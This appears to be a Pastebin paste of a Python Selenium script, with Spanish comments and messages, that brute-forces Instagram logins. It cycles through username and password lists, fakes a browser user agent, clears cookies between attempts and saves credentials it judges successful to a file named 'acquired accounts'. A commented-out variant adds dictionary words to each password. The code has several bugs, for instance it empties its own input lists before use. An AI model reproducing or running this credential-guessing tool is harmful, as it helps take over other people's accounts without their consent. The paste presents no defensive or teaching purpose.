Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import optparse
- from selenium import webdriver
- from selenium.webdriver.common.keys import Keys
- from time import sleep
- profile = webdriver.FirefoxProfile()
- profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36")
- driver = webdriver.Firefox(profile)
- usuario = "reserved"
- class alpha:
- def __init__(self,usuarios,contrasenas,delay):
- self.delay = delay
- usuarios = open(usuarios.txt)
- contrasenas = open(contrasenas.txt)
- usuario = usuarios.readlines()
- contrasena = contrasenas.readlines()
- def brute(usuarios,contrasenas,delay):
- for usuario in usuarios:
- usuario = usuarios.readline()
- for contrasena in contrasenas:
- try:
- driver.get("http://www.instagram.com/accounts/login")
- usuario = usuarios.readline()
- contrasena = contrasena.readline()
- print ('Intentando con la contrasena: ' + contrasena)
- elem = driver.find_element_by_name("username")
- elem.clear()
- elem.send_keys(usuario)
- elem = driver.find_element_by_name("password")
- elem.clear()
- elem.send_keys(contrasena)
- elem.send_keys(Keys.RETURN)
- sleep(delay)
- driver.delete_all_cookies()
- assert (("Login") in driver.title)
- assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source)
- except AssertionError:
- print ('Parece ser que la contrasena de ' +usuario+ ' es: ' + contrasena)
- try:
- f = open('cuentasAdqueridas.txt','a')
- except:
- f = open('cuentasAdqueridas.txt','w')
- f.write('username:'+usuario+'\npassword:'+contrasena+'\n')
- f.close()
- driver.delete_all_cookies()
- # def hardBrute():
- # for usuario in usuarios:
- # usuario = usuarios.readline()
- # for contrasena in contrasenas:
- # contrasena = contrasenas.readline()
- # for cadena in diccionario:
- # driver.get("http://www.instagram.com/accounts/login")
- # cadena = diccionario.readline()
- # print ('Intentando con la contrasena: ' + contrasena)
- # hardpass = contrasen + diccionario
- # elem = driver.find_element_by_name("username")
- # elem.clear()
- # elem.send_keys(usuario)
- # elem = driver.find_element_by_name("password")
- # elem.clear()
- # elem.send_keys(hardpass)
- # elem.send_keys(Keys.RETURN)
- # sleep(delay)
- # driver.delete_all_cookies()
- # assert (("Login") in driver.title)
- # assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source)
- # except AssertionError:
- # print ('Parece ser que la contrasena de ' +usuario+ ' es: ' + contrasena)
- # try:
- # f = open('cuentasAdqueridas.txt','a')
- # except:
- # f = open('cuentasAdqueridas.txt','w')
- # f.write('username:'+usuario+'\npassword:'+hardpass+'\n')
- # f.close()
- # driver.delete_all_cookies()
- usuarios = open('usuarios.txt','r')
- contrasenas = open('contrasenas.txt','r')
- usuarios = []
- contrasenas = []
- delay = 5
- driver = webdriver.Firefox(profile)
- brute(usuarios,contrasenas,delay)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement